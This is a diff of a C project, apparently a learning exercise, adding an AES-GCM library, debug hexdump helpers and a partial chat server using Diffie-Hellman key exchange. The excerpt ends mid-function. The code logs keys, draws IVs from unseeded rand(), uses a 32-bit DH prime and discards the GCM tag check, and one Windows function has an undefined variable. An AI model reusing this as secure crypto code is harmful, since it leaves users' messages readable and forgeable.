(((aes_ulong) (a) & 0x00ff000000000000ull) >> 40) | \
(((aes_ulong) (a) & 0x0000ff0000000000ull) >> 24) | \
(((aes_ulong) (a) & 0x000000ff00000000ull) >> 8) | \
(((aes_ulong) (a) & 0x00000000ff000000ull) << 8) | \
(((aes_ulong) (a) & 0x0000000000ff0000ull) << 24) | \
(((aes_ulong) (a) & 0x000000000000ff00ull) << 40) | \
(((aes_ulong) (a) & 0x00000000000000ffull) << 56))
#endif
#endif
#if __BYTE_ORDER == __LITTLE_ENDIAN
#define __ENDIAN_LITTLE__ 1 /* OpenCL */
#define le_to_host16(n) (n)
#define host_to_le16(n) (n)
#define be_to_host16(n) bswap_16(n)
#define host_to_be16(n) bswap_16(n)
#define le_to_host32(n) (n)
#define host_to_le32(n) (n)
#define be_to_host32(n) bswap_32(n)
#define host_to_be32(n) bswap_32(n)
#define le_to_host64(n) (n)
#define host_to_le64(n) (n)
#define be_to_host64(n) bswap_64(n)
#define host_to_be64(n) bswap_64(n)
#elif __BYTE_ORDER == __BIG_ENDIAN
#define le_to_host16(n) bswap_16(n)
#define host_to_le16(n) bswap_16(n)
#define be_to_host16(n) (n)
#define host_to_be16(n) (n)
#define le_to_host32(n) bswap_32(n)
#define host_to_le32(n) bswap_32(n)
#define be_to_host32(n) (n)
#define host_to_be32(n) (n)
#define le_to_host64(n) bswap_64(n)
#define host_to_le64(n) bswap_64(n)
#define be_to_host64(n) (n)
#define host_to_be64(n) (n)
#else
#error Could not determine CPU byte order
#endif
/* unaligned memory accesses */
static inline aes_ushort AES_GET_BE16(const aes_uchar *a)
{
return (a[0] << 8) | a[1];
}
static inline void AES_PUT_BE16(aes_uchar *a, aes_ushort val)
{
a[0] = val >> 8;
a[1] = val & 0xff;
}
static inline aes_ushort AES_GET_LE16(const aes_uchar *a)
{
return (a[1] << 8) | a[0];
}
static inline void AES_PUT_LE16(aes_uchar *a, aes_ushort val)
{
a[1] = val >> 8;
a[0] = val & 0xff;
}
static inline aes_uint AES_GET_BE24(const aes_uchar *a)
{
return (a[0] << 16) | (a[1] << 8) | a[2];
}
static inline void AES_PUT_BE24(aes_uchar *a, aes_uint val)
{
a[0] = (val >> 16) & 0xff;
a[1] = (val >> 8) & 0xff;
a[2] = val & 0xff;
}
static inline aes_uint AES_GET_BE32(const aes_uchar *a)
{
return (a[0] << 24) | (a[1] << 16) | (a[2] << 8) | a[3];
}
static inline void AES_PUT_BE32(aes_uchar *a, aes_uint val)
{
a[0] = (val >> 24) & 0xff;
a[1] = (val >> 16) & 0xff;
a[2] = (val >> 8) & 0xff;
a[3] = val & 0xff;
}
static inline aes_uint AES_GET_LE32(const aes_uchar *a)
{
return (a[3] << 24) | (a[2] << 16) | (a[1] << 8) | a[0];
}
static inline void AES_PUT_LE32(aes_uchar *a, aes_uint val)
{
a[3] = (val >> 24) & 0xff;
a[2] = (val >> 16) & 0xff;
a[1] = (val >> 8) & 0xff;
a[0] = val & 0xff;
}
static inline aes_ulong AES_GET_BE64(const aes_uchar *a)
{
return (((aes_ulong) a[0]) << 56) | (((aes_ulong) a[1]) << 48) |
(((aes_ulong) a[2]) << 40) | (((aes_ulong) a[3]) << 32) |
(((aes_ulong) a[4]) << 24) | (((aes_ulong) a[5]) << 16) |
(((aes_ulong) a[6]) << 8) | ((aes_ulong) a[7]);
}
static inline void AES_PUT_BE64(aes_uchar *a, aes_ulong val)
{
a[0] = val >> 56;
a[1] = val >> 48;
a[2] = val >> 40;
a[3] = val >> 32;
a[4] = val >> 24;
a[5] = val >> 16;
a[6] = val >> 8;
a[7] = val & 0xff;
}
static inline aes_ulong AES_GET_LE64(const aes_uchar *a)
{
return (((aes_ulong) a[7]) << 56) | (((aes_ulong) a[6]) << 48) |
(((aes_ulong) a[5]) << 40) | (((aes_ulong) a[4]) << 32) |
(((aes_ulong) a[3]) << 24) | (((aes_ulong) a[2]) << 16) |
(((aes_ulong) a[1]) << 8) | ((aes_ulong) a[0]);
}
static inline void AES_PUT_LE64(aes_uchar *a, aes_ulong val)
{
a[7] = val >> 56;
a[6] = val >> 48;
a[5] = val >> 40;
a[4] = val >> 32;
a[3] = val >> 24;
a[2] = val >> 16;
a[1] = val >> 8;
a[0] = val & 0xff;
}
/* function attribute macros */
#ifndef AES_WARN_UNUSED_RESULT
#if defined __GNUC__
#define AES_WARN_UNUSED_RESULT __attribute__((__warn_unused_result__))
#else
#define AES_WARN_UNUSED_RESULT
#endif /* __GNUC__ */
#endif /* AES_WARN_UNUSED_RESULT */
#endif /* AES_COMMON_H */

166
server/aes-debug.c Normal file
View File

@ -0,0 +1,166 @@
#define AES_DEBUG
#include "aes.h"
int aes_debug_level = MSG_EXCESSIVE;
int aes_debug_show_keys = 1;
int aes_debug_timestamp = 1;
#if defined(_MSC_VER) || ( defined(__WIN32__) && !defined(__CYGWIN__))
#include <time.h>
#include <windows.h>
const __int64 DELTA_EPOCH_IN_MICROSECS= 11644473600000000;
int gettimeofday(struct timeval *tv, struct timezone *tz)
{
FILETIME ft;
__int64 tmpres = 0;
TIME_ZONE_INFORMATION tz_winapi;
int ret = 0;
ZeroMemory(&ft,sizeof(ft));
ZeroMemory(&tz_winapi,sizeof(tz_winapi));
GetSystemTimeAsFileTime(&ft);
tmpres = ft.dwHighDateTime;
tmpres <<= 32;
tmpres |= ft.dwLowDateTime;
/*converting file time to unix epoch*/
tmpres /= 10; /*convert into microseconds*/
tmpres -= DELTA_EPOCH_IN_MICROSECS;
tv->tv_sec = (__int32)(tmpres*0.000001);
tv->tv_usec =(tmpres%1000000);
if (tz) {
ret = GetTimeZoneInformation(&tz_winapi);
tz->tz_dsttime = (ret == 2) ? true : false;
tz->tz_minuteswest = tz_winapi.Bias + ((rez==2)?tz_winapi.DaylightBias:0);
}
return 0;
}
#endif
void aes_debug_print_timestamp(void)
{
struct timeval tv;
if (!aes_debug_timestamp)
return;
gettimeofday(&tv, NULL);
printf("%ld.%06u: ", (long) tv.tv_sec, (unsigned int) tv.tv_usec);
}
void aes_printf(int level, const char *fmt, ...)
{
va_list ap;
va_start(ap, fmt);
if (level >= aes_debug_level) {
aes_debug_print_timestamp();
vprintf(fmt, ap);
printf("\n");
}
va_end(ap);
}
static void _aes_hexdump(int level, const char *title, const aes_uchar *buf,
size_t len, int show)
{
size_t i;
if (level < aes_debug_level)
return;
aes_debug_print_timestamp();
printf("%s - hexdump(len=%lu):", title, (unsigned long) len);
if (buf == NULL) {
printf(" [NULL]");
} else if (show) {
for (i = 0; i < len; i++)
printf(" %02x", buf[i]);
} else {
printf(" [REDACTED]");
}
printf("\n");
}
void aes_hexdump(int level, const char *title, const void *buf, size_t len)
{
_aes_hexdump(level, title, buf, len, 1);
}
void aes_hexdump_key(int level, const char *title, const void *buf, size_t len)
{
_aes_hexdump(level, title, buf, len, aes_debug_show_keys);
}
static void _aes_hexdump_ascii(int level, const char *title, const void *buf,
size_t len, int show)
{
size_t i, llen;
const aes_uchar *pos = buf;
const size_t line_len = 16;
if (level < aes_debug_level)
return;
aes_debug_print_timestamp();
if (!show) {
printf("%s - hexdump_ascii(len=%lu): [REDACTED]\n",
title, (unsigned long) len);
return;
}
if (buf == NULL) {
printf("%s - hexdump_ascii(len=%lu): [NULL]\n",
title, (unsigned long) len);
return;
}
printf("%s - hexdump_ascii(len=%lu):\n", title, (unsigned long) len);
while (len) {
llen = len > line_len ? line_len : len;
printf(" ");
for (i = 0; i < llen; i++)
printf(" %02x", pos[i]);
for (i = llen; i < line_len; i++)
printf(" ");
printf(" ");
for (i = 0; i < llen; i++) {
if (isprint(pos[i]))
printf("%c", pos[i]);
else
printf("_");
}
for (i = llen; i < line_len; i++)
printf(" ");
printf("\n");
pos += llen;
len -= llen;
}
}
void aes_hexdump_ascii(int level, const char *title, const void *buf,
size_t len)
{
_aes_hexdump_ascii(level, title, buf, len, 1);
}
void aes_hexdump_ascii_key(int level, const char *title, const void *buf,
size_t len)
{
_aes_hexdump_ascii(level, title, buf, len, aes_debug_show_keys);
}

60
server/aes-debug.h Normal file
View File

@ -0,0 +1,60 @@
#ifndef AES_DEBUG_H
#define AES_DEBUG_H
/* gettimeofday */
#if defined(_MSC_VER) || ( defined(__WIN32__) && !defined(__CYGWIN__))
struct timezone
{
int tz_minuteswest; /* minutes west of Greenwich */
int tz_dsttime; /* type of dst correction */
};
struct timeval {
int tv_sec;
int tv_usec;
};
extern int gettimeofday(struct timeval *tv, struct timezone *tz);
#else
#include <sys/time.h>
#endif
/* Debugging function - conditional printf and hex dump */
enum {
MSG_EXCESSIVE, MSG_MSGDUMP, MSG_DEBUG, MSG_INFO, MSG_WARNING, MSG_ERROR
};
extern int aes_debug_level;
extern int aes_debug_show_keys;
extern int aes_debug_timestamp;
#ifndef AES_DEBUG
#define aes_debug_print_timestamp() do { } while (0)
#define aes_printf(args...) do { } while (0)
#define aes_hexdump(l,t,b,le) do { } while (0)
#define aes_hexdump_buf(l,t,b) do { } while (0)
#define aes_hexdump_key(l,t,b,le) do { } while (0)
#define aes_hexdump_buf_key(l,t,b) do { } while (0)
#define aes_hexdump_ascii(l,t,b,le) do { } while (0)
#define aes_hexdump_ascii_key(l,t,b,le) do { } while (0)
#define aes_dbg(args...) do { } while (0)
#else
void aes_debug_print_timestamp(void);
void aes_printf(int level, const char *fmt, ...) __attribute__ ((format (printf, (2), (3))));
void aes_hexdump(int level, const char *title, const void *buf, size_t len);
void aes_hexdump_key(int level, const char *title, const void *buf, size_t len);
void aes_hexdump_ascii(int level, const char *title, const void *buf,
size_t len);
void aes_hexdump_ascii_key(int level, const char *title, const void *buf,
size_t len);
#endif /* AES_DEBUG_STDOUT */
#endif /* AES_DEBUG_H */

312
server/aes-gcm.c Normal file
View File

@ -0,0 +1,312 @@
#include "aes.h"
static void inc32(aes_uchar *block)
{
aes_uint val;
val = AES_GET_BE32(block + AES_BLOCK_SIZE - 4);
val++;
AES_PUT_BE32(block + AES_BLOCK_SIZE - 4, val);
}
static void xor_block(aes_uchar *dst, const aes_uchar *src)
{
aes_uint *d = (aes_uint *) dst;
aes_uint *s = (aes_uint *) src;
*d++ ^= *s++;
*d++ ^= *s++;
*d++ ^= *s++;
*d++ ^= *s++;
}
static void shift_right_block(aes_uchar *v)
{
aes_uint val;
val = AES_GET_BE32(v + 12);
val >>= 1;
if (v[11] & 0x01)
val |= 0x80000000;
AES_PUT_BE32(v + 12, val);
val = AES_GET_BE32(v + 8);
val >>= 1;
if (v[7] & 0x01)
val |= 0x80000000;
AES_PUT_BE32(v + 8, val);
val = AES_GET_BE32(v + 4);
val >>= 1;
if (v[3] & 0x01)
val |= 0x80000000;
AES_PUT_BE32(v + 4, val);
val = AES_GET_BE32(v);
val >>= 1;
AES_PUT_BE32(v, val);
}
/* Multiplication in GF(2^128) */
static void gf_mult(const aes_uchar *x, const aes_uchar *y, aes_uchar *z)
{
aes_uchar v[16];
int i, j;
memset(z, 0, 16); /* Z_0 = 0^128 */
memcpy(v, y, 16); /* V_0 = Y */
for (i = 0; i < 16; i++) {
for (j = 0; j < 8; j++) {
if (x[i] & 1 << (7 - j)) {
/* Z_(i + 1) = Z_i XOR V_i */
xor_block(z, v);
} else {
/* Z_(i + 1) = Z_i */
}
if (v[15] & 0x01) {
/* V_(i + 1) = (V_i >> 1) XOR R */
shift_right_block(v);
/* R = 11100001 || 0^120 */
v[0] ^= 0xe1;
} else {
/* V_(i + 1) = V_i >> 1 */
shift_right_block(v);
}
}
}
}
static void ghash_start(aes_uchar *y)
{
/* Y_0 = 0^128 */
memset(y, 0, 16);
}
static void ghash(const aes_uchar *h, const aes_uchar *x, size_t xlen, aes_uchar *y)
{
size_t m, i;
const aes_uchar *xpos = x;
aes_uchar tmp[16];
m = xlen / 16;
for (i = 0; i < m; i++) {
/* Y_i = (Y^(i-1) XOR X_i) dot H */
xor_block(y, xpos);
xpos += 16;
/* dot operation:
* multiplication operation for binary Galois (finite) field of
* 2^128 elements */
gf_mult(y, h, tmp);
memcpy(y, tmp, 16);
}
if (x + xlen > xpos) {
/* Add zero padded last block */
size_t last = x + xlen - xpos;
memcpy(tmp, xpos, last);
memset(tmp + last, 0, sizeof(tmp) - last);
/* Y_i = (Y^(i-1) XOR X_i) dot H */
xor_block(y, tmp);
/* dot operation:
* multiplication operation for binary Galois (finite) field of
* 2^128 elements */
gf_mult(y, h, tmp);
memcpy(y, tmp, 16);
}
/* Return Y_m */
}
static void aes_gctr(void *aes, const aes_uchar *icb, const aes_uchar *x, size_t xlen, aes_uchar *y)
{
size_t i, n, last;
aes_uchar cb[AES_BLOCK_SIZE], tmp[AES_BLOCK_SIZE];
const aes_uchar *xpos = x;
aes_uchar *ypos = y;
if (xlen == 0)
return;
n = xlen / 16;
memcpy(cb, icb, AES_BLOCK_SIZE);
/* Full blocks */
for (i = 0; i < n; i++) {
aes_encrypt(aes, cb, ypos);
xor_block(ypos, xpos);
xpos += AES_BLOCK_SIZE;
ypos += AES_BLOCK_SIZE;
inc32(cb);
}
last = x + xlen - xpos;
if (last) {
/* Last, partial block */
aes_encrypt(aes, cb, tmp);
for (i = 0; i < last; i++)
*ypos++ = *xpos++ ^ tmp[i];
}
}
static void * aes_gcm_init_hash_subkey(const aes_uchar *key, size_t key_len, aes_uchar *H)
{
void *aes;
aes = aes_encrypt_init(key, key_len);
if (aes == NULL)
return NULL;
/* Generate hash subkey H = AES_K(0^128) */
memset(H, 0, AES_BLOCK_SIZE);
aes_encrypt(aes, H, H);
aes_hexdump_key(MSG_EXCESSIVE, "Hash subkey H for GHASH", H, AES_BLOCK_SIZE);
return aes;
}
static void aes_gcm_prepare_j0(const aes_uchar *iv, size_t iv_len, const aes_uchar *H, aes_uchar *J0)
{
aes_uchar len_buf[16];
if (iv_len == 12) {
/* Prepare block J_0 = IV || 0^31 || 1 [len(IV) = 96] */
memcpy(J0, iv, iv_len);
memset(J0 + iv_len, 0, AES_BLOCK_SIZE - iv_len);
J0[AES_BLOCK_SIZE - 1] = 0x01;
} else {
/*
* s = 128 * ceil(len(IV)/128) - len(IV)
* J_0 = GHASH_H(IV || 0^(s+64) || [len(IV)]_64)
*/
ghash_start(J0);
ghash(H, iv, iv_len, J0);
AES_PUT_BE64(len_buf, 0);
AES_PUT_BE64(len_buf + 8, iv_len * 8);
ghash(H, len_buf, sizeof(len_buf), J0);
}
}
static void aes_gcm_gctr(void *aes, const aes_uchar *J0, const aes_uchar *in, size_t len,
aes_uchar *out)
{
aes_uchar J0inc[AES_BLOCK_SIZE];
if (len == 0)
return;
memcpy(J0inc, J0, AES_BLOCK_SIZE);
inc32(J0inc);
aes_gctr(aes, J0inc, in, len, out);
}
static void aes_gcm_ghash(const aes_uchar *H, const aes_uchar *aad, size_t aad_len,
const aes_uchar *crypt, size_t crypt_len, aes_uchar *S)
{
aes_uchar len_buf[16];
/*
* u = 128 * ceil[len(C)/128] - len(C)
* v = 128 * ceil[len(A)/128] - len(A)
* S = GHASH_H(A || 0^v || C || 0^u || [len(A)]64 || [len(C)]64)
* (i.e., zero padded to block size A || C and lengths of each in bits)
*/
ghash_start(S);
ghash(H, aad, aad_len, S);
ghash(H, crypt, crypt_len, S);
AES_PUT_BE64(len_buf, aad_len * 8);
AES_PUT_BE64(len_buf + 8, crypt_len * 8);
ghash(H, len_buf, sizeof(len_buf), S);
aes_hexdump_key(MSG_EXCESSIVE, "S = GHASH_H(...)", S, 16);
}
/**
* aes_gcm_ae - GCM-AE_K(IV, P, A)
*/
int aes_gcm_ae(const aes_uchar *key, size_t key_len, const aes_uchar *iv, size_t iv_len,
const aes_uchar *plain, size_t plain_len,
const aes_uchar *aad, size_t aad_len, aes_uchar *crypt, aes_uchar *tag)
{
aes_uchar H[AES_BLOCK_SIZE];
aes_uchar J0[AES_BLOCK_SIZE];
aes_uchar S[16];
void *aes;
aes = aes_gcm_init_hash_subkey(key, key_len, H);
if (aes == NULL)
return -1;
aes_gcm_prepare_j0(iv, iv_len, H, J0);
/* C = GCTR_K(inc_32(J_0), P) */
aes_gcm_gctr(aes, J0, plain, plain_len, crypt);
aes_gcm_ghash(H, aad, aad_len, crypt, plain_len, S);
/* T = MSB_t(GCTR_K(J_0, S)) */
aes_gctr(aes, J0, S, sizeof(S), tag);
/* Return (C, T) */
aes_encrypt_deinit(aes);
return 0;
}
/**
* aes_gcm_ad - GCM-AD_K(IV, C, A, T)
*/
int aes_gcm_ad(const aes_uchar *key, size_t key_len, const aes_uchar *iv, size_t iv_len,
const aes_uchar *crypt, size_t crypt_len,
const aes_uchar *aad, size_t aad_len, const aes_uchar *tag, aes_uchar *plain)
{
aes_uchar H[AES_BLOCK_SIZE];
aes_uchar J0[AES_BLOCK_SIZE];
aes_uchar S[16], T[16];
void *aes;
aes = aes_gcm_init_hash_subkey(key, key_len, H);
if (aes == NULL)
return -1;
aes_gcm_prepare_j0(iv, iv_len, H, J0);
/* P = GCTR_K(inc_32(J_0), C) */
aes_gcm_gctr(aes, J0, crypt, crypt_len, plain);
aes_gcm_ghash(H, aad, aad_len, crypt, crypt_len, S);
/* T' = MSB_t(GCTR_K(J_0, S)) */
aes_gctr(aes, J0, S, sizeof(S), T);
aes_encrypt_deinit(aes);
if (memcmp(tag, T, 16) != 0) {
aes_printf(MSG_EXCESSIVE, "GCM: Tag mismatch");
return -1;
}
return 0;
}
int aes_gmac(const aes_uchar *key, size_t key_len, const aes_uchar *iv, size_t iv_len,
const aes_uchar *aad, size_t aad_len, aes_uchar *tag)
{
return aes_gcm_ae(key, key_len, iv, iv_len, NULL, 0, aad, aad_len, NULL, tag);
}

1021
server/aes-internal.c Normal file

File diff suppressed because it is too large Load Diff

113
server/aes-internal.h Normal file
View File

@ -0,0 +1,113 @@
#ifndef AES_INTERNAL_H
#define AES_INTERNAL_H
extern const aes_uint Te0[256];
extern const aes_uint Te1[256];
extern const aes_uint Te2[256];
extern const aes_uint Te3[256];
extern const aes_uint Te4[256];
extern const aes_uint Td0[256];
extern const aes_uint Td1[256];
extern const aes_uint Td2[256];
extern const aes_uint Td3[256];
extern const aes_uint Td4[256];
extern const aes_uint rcon[10];
extern const aes_uchar Td4s[256];
extern const aes_uchar rcons[10];
#ifndef AES_SMALL_TABLES
#define RCON(i) rcon[(i)]
#define TE0(i) Te0[((i) >> 24) & 0xff]
#define TE1(i) Te1[((i) >> 16) & 0xff]
#define TE2(i) Te2[((i) >> 8) & 0xff]
#define TE3(i) Te3[(i) & 0xff]
#define TE41(i) (Te4[((i) >> 24) & 0xff] & 0xff000000)
#define TE42(i) (Te4[((i) >> 16) & 0xff] & 0x00ff0000)
#define TE43(i) (Te4[((i) >> 8) & 0xff] & 0x0000ff00)
#define TE44(i) (Te4[(i) & 0xff] & 0x000000ff)
#define TE421(i) (Te4[((i) >> 16) & 0xff] & 0xff000000)
#define TE432(i) (Te4[((i) >> 8) & 0xff] & 0x00ff0000)
#define TE443(i) (Te4[(i) & 0xff] & 0x0000ff00)
#define TE414(i) (Te4[((i) >> 24) & 0xff] & 0x000000ff)
#define TE411(i) (Te4[((i) >> 24) & 0xff] & 0xff000000)
#define TE422(i) (Te4[((i) >> 16) & 0xff] & 0x00ff0000)
#define TE433(i) (Te4[((i) >> 8) & 0xff] & 0x0000ff00)
#define TE444(i) (Te4[(i) & 0xff] & 0x000000ff)
#define TE4(i) (Te4[(i)] & 0x000000ff)
#define TD0(i) Td0[((i) >> 24) & 0xff]
#define TD1(i) Td1[((i) >> 16) & 0xff]
#define TD2(i) Td2[((i) >> 8) & 0xff]
#define TD3(i) Td3[(i) & 0xff]
#define TD41(i) (Td4[((i) >> 24) & 0xff] & 0xff000000)
#define TD42(i) (Td4[((i) >> 16) & 0xff] & 0x00ff0000)
#define TD43(i) (Td4[((i) >> 8) & 0xff] & 0x0000ff00)
#define TD44(i) (Td4[(i) & 0xff] & 0x000000ff)
#define TD0_(i) Td0[(i) & 0xff]
#define TD1_(i) Td1[(i) & 0xff]
#define TD2_(i) Td2[(i) & 0xff]
#define TD3_(i) Td3[(i) & 0xff]
#else /* AES_SMALL_TABLES */
#define RCON(i) (rcons[(i)] << 24)
static inline aes_uint rotr(aes_uint val, int bits)
{
return (val >> bits) | (val << (32 - bits));
}
#define TE0(i) Te0[((i) >> 24) & 0xff]
#define TE1(i) rotr(Te0[((i) >> 16) & 0xff], 8)
#define TE2(i) rotr(Te0[((i) >> 8) & 0xff], 16)
#define TE3(i) rotr(Te0[(i) & 0xff], 24)
#define TE41(i) ((Te0[((i) >> 24) & 0xff] << 8) & 0xff000000)
#define TE42(i) (Te0[((i) >> 16) & 0xff] & 0x00ff0000)
#define TE43(i) (Te0[((i) >> 8) & 0xff] & 0x0000ff00)
#define TE44(i) ((Te0[(i) & 0xff] >> 8) & 0x000000ff)
#define TE421(i) ((Te0[((i) >> 16) & 0xff] << 8) & 0xff000000)
#define TE432(i) (Te0[((i) >> 8) & 0xff] & 0x00ff0000)
#define TE443(i) (Te0[(i) & 0xff] & 0x0000ff00)
#define TE414(i) ((Te0[((i) >> 24) & 0xff] >> 8) & 0x000000ff)
#define TE411(i) ((Te0[((i) >> 24) & 0xff] << 8) & 0xff000000)
#define TE422(i) (Te0[((i) >> 16) & 0xff] & 0x00ff0000)
#define TE433(i) (Te0[((i) >> 8) & 0xff] & 0x0000ff00)
#define TE444(i) ((Te0[(i) & 0xff] >> 8) & 0x000000ff)
#define TE4(i) ((Te0[(i)] >> 8) & 0x000000ff)
#define TD0(i) Td0[((i) >> 24) & 0xff]
#define TD1(i) rotr(Td0[((i) >> 16) & 0xff], 8)
#define TD2(i) rotr(Td0[((i) >> 8) & 0xff], 16)
#define TD3(i) rotr(Td0[(i) & 0xff], 24)
#define TD41(i) (Td4s[((i) >> 24) & 0xff] << 24)
#define TD42(i) (Td4s[((i) >> 16) & 0xff] << 16)
#define TD43(i) (Td4s[((i) >> 8) & 0xff] << 8)
#define TD44(i) (Td4s[(i) & 0xff])
#define TD0_(i) Td0[(i) & 0xff]
#define TD1_(i) rotr(Td0[(i) & 0xff], 8)
#define TD2_(i) rotr(Td0[(i) & 0xff], 16)
#define TD3_(i) rotr(Td0[(i) & 0xff], 24)
#endif /* AES_SMALL_TABLES */
#define GETU32(pt) (((aes_uint)(pt)[0] << 24) ^ \
((aes_uint)(pt)[1] << 16) ^ \
((aes_uint)(pt)[2] << 8) ^ \
((aes_uint)(pt)[3]))
#define PUTU32(ct, st) { \
(ct)[0] = (aes_uchar)((st) >> 24); \
(ct)[1] = (aes_uchar)((st) >> 16); \
(ct)[2] = (aes_uchar)((st) >> 8); \
(ct)[3] = (aes_uchar)(st); }
#define AES_PRIV_SIZE (4 * 4 * 15 + 4)
#define AES_PRIV_NR_POS (4 * 15)
void aes_rijndael_encrypt(const aes_uint rk[], int Nr, const aes_uchar pt[16], aes_uchar ct[16]);
void aes_rijndael_decrypt(const aes_uint rk[], int Nr, const aes_uchar ct[16], aes_uchar pt[16]);
int aes_rijndael_key_setup_dec(aes_uint rk[], const aes_uchar cipherKey[], size_t keyBits);
int aes_rijndael_key_setup_enc(aes_uint rk[], const aes_uchar cipherKey[], size_t keyBits);
#endif /* AES_I_H */

70
server/aes.h Normal file
View File

@ -0,0 +1,70 @@
#ifndef AES_H
#define AES_H
#ifdef __cplusplus
extern "C" {
#endif
#define AES_FULL_UNROLL
#define AES_SMALL_TABLES
#define AES_BLOCK_SIZE 16
#include "aes-common.h"
#include "aes-internal.h"
#include "aes-debug.h"
void * aes_encrypt_init(const aes_uchar *key, size_t len);
void aes_encrypt(void *ctx, const aes_uchar *plain, aes_uchar *crypt);
void aes_encrypt_deinit(void *ctx);
void * aes_decrypt_init(const aes_uchar *key, size_t len);
void aes_decrypt(void *ctx, const aes_uchar *crypt, aes_uchar *plain);
void aes_decrypt_deinit(void *ctx);
int AES_WARN_UNUSED_RESULT aes_wrap(const aes_uchar *kek, int n, const aes_uchar *plain, aes_uchar *cipher);
int AES_WARN_UNUSED_RESULT aes_unwrap(const aes_uchar *kek, int n, const aes_uchar *cipher, aes_uchar *plain);
int AES_WARN_UNUSED_RESULT omac1_aes_128_vector(const aes_uchar *key, size_t num_elem,
const aes_uchar *addr[], const size_t *len,
aes_uchar *mac);
int AES_WARN_UNUSED_RESULT omac1_aes_128(const aes_uchar *key, const aes_uchar *data, size_t data_len,
aes_uchar *mac);
int AES_WARN_UNUSED_RESULT aes_128_encrypt_block(const aes_uchar *key, const aes_uchar *in, aes_uchar *out);
int AES_WARN_UNUSED_RESULT aes_128_ctr_encrypt(const aes_uchar *key, const aes_uchar *nonce,
aes_uchar *data, size_t data_len);
int AES_WARN_UNUSED_RESULT aes_128_eax_encrypt(const aes_uchar *key,
const aes_uchar *nonce, size_t nonce_len,
const aes_uchar *hdr, size_t hdr_len,
aes_uchar *data, size_t data_len, aes_uchar *tag);
int AES_WARN_UNUSED_RESULT aes_128_eax_decrypt(const aes_uchar *key,
const aes_uchar *nonce, size_t nonce_len,
const aes_uchar *hdr, size_t hdr_len,
aes_uchar *data, size_t data_len, const aes_uchar *tag);
int AES_WARN_UNUSED_RESULT aes_128_cbc_encrypt(const aes_uchar *key, const aes_uchar *iv, aes_uchar *data,
size_t data_len);
int AES_WARN_UNUSED_RESULT aes_128_cbc_decrypt(const aes_uchar *key, const aes_uchar *iv, aes_uchar *data,
size_t data_len);
int AES_WARN_UNUSED_RESULT aes_gcm_ae(const aes_uchar *key, size_t key_len,
const aes_uchar *iv, size_t iv_len,
const aes_uchar *plain, size_t plain_len,
const aes_uchar *aad, size_t aad_len,
aes_uchar *crypt, aes_uchar *tag);
int AES_WARN_UNUSED_RESULT aes_gcm_ad(const aes_uchar *key, size_t key_len,
const aes_uchar *iv, size_t iv_len,
const aes_uchar *crypt, size_t crypt_len,
const aes_uchar *aad, size_t aad_len, const aes_uchar *tag,
aes_uchar *plain);
int AES_WARN_UNUSED_RESULT aes_gmac(const aes_uchar *key, size_t key_len,
const aes_uchar *iv, size_t iv_len,
const aes_uchar *aad, size_t aad_len, aes_uchar *tag);
int AES_WARN_UNUSED_RESULT aes_ccm_ae(const aes_uchar *key, size_t key_len, const aes_uchar *nonce,
size_t M, const aes_uchar *plain, size_t plain_len,
const aes_uchar *aad, size_t aad_len, aes_uchar *crypt, aes_uchar *auth);
int AES_WARN_UNUSED_RESULT aes_ccm_ad(const aes_uchar *key, size_t key_len, const aes_uchar *nonce,
size_t M, const aes_uchar *crypt, size_t crypt_len,
const aes_uchar *aad, size_t aad_len, const aes_uchar *auth,
aes_uchar *plain);
#ifdef __cplusplus
}
#endif
#endif /* AES_H */

8
server/makefile Normal file
View File

@ -0,0 +1,8 @@
server:server.c aes-debug.o aes-gcm.o aes-internal.o
gcc server.c -o server aes-debug.o aes-gcm.o aes-internal.o -l gmp
aes-debug.o:aes-debug.c
gcc -c aes-debug.c -o aes-debug.o
aes-gcm.o:aes-gcm.c
gcc -c aes-gcm.c -o aes-gcm.o
aes-internal.o:aes-internal.c
gcc -c aes-internal.c -o aes-internal.o

8
server/makefile_p Normal file
View File

@ -0,0 +1,8 @@
server_p:server_p.c aes-debug.o aes-gcm.o aes-internal.o
gcc server_p.c -o server_p aes-debug.o aes-gcm.o aes-internal.o -l gmp
aes-debug.o:aes-debug.c
gcc -c aes-debug.c -o aes-debug.o
aes-gcm.o:aes-gcm.c
gcc -c aes-gcm.c -o aes-gcm.o
aes-internal.o:aes-internal.c
gcc -c aes-internal.c -o aes-internal.o

186
server/server.c Normal file
View File

@ -0,0 +1,186 @@
#include <netdb.h>
#include <netinet/in.h>
#include <stdlib.h>
#include <string.h>
#include <stdio.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <unistd.h>
#include "Diffie_hellman.c"
#include "aes.h"
#define MAX_size 256
#define Sockaddr struct sockaddr
#define DEBUF
// Function designed for chat between client and server.
void recv_msg(int sockfd, char * buf, unsigned char *key){
char buff[MAX_size];
//add(16)+iv(12)+tag(16)+data
unsigned char iv[12],add[16],tag[16];
int l=read(sockfd, buff, sizeof(buff));
memcpy(add,buff+4,16);
memcpy(iv,buff+16+4,12);
memset(tag,0,16);
int tmp=aes_gcm_ad(key, 32, iv, 12,buff+44+4, l-44-4, add, 16, tag, buf);
}
void send_msg(int sockfd, char * buff, int con_len, unsigned char *key){
//add(16)+iv(12)+tag(16)+data
unsigned char * cryptbuf=(unsigned char*)malloc(con_len + 44 + 4);
memset(cryptbuf, 0, con_len + 44 + 4);
//add+iv
unsigned char iv[12],add[16],tag[16];
memset(tag,0,16);
for(int j=0;j<16;j++)
add[j]=rand()%256;
for(int j=0;j<12;j++)
iv[j]=rand()%256;
//加密
int tmp;
tmp = aes_gcm_ae(key, 32, iv, 12, buff, con_len, add, 16, cryptbuf + 44 + 4, tag);
memcpy(cryptbuf + 4, add, 16);
memcpy(cryptbuf + 20, iv, 12);
memcpy(cryptbuf + 32, tag, 16);
memcpy(cryptbuf, "data", 4);
int f;
f = write(sockfd, cryptbuf, con_len + 44 + 4);
}
void DH_key_exchange_for_server(int sockfd, unsigned char* aes_key){
Dh_key dh_key;
char buff[MAX_size];
init_numbers(&dh_key);
dh_key.urand = fopen("/dev/urandom","r");
if(NULL == dh_key.urand)
{
fprintf(stderr, "Failed to init randomization\n");
exit(1);
}
init_prime(32,&dh_key);
//send p
bzero(buff, MAX_size);
memcpy(buff,"pri",3);
mpz_get_str(buff+3,16,dh_key.prime);
write(sockfd,buff,sizeof(buff));
gmp_printf("p:%Zd\n",dh_key.prime);
//receive A
bzero(buff, MAX_size);
read(sockfd,buff,sizeof(buff));
mpz_t key_from_c;
mpz_init(key_from_c);
mpz_set_str(key_from_c,buff+3,16);
gmp_printf("A:%Zd\n",key_from_c);
//calculate private key b
generate_key(32, &dh_key);
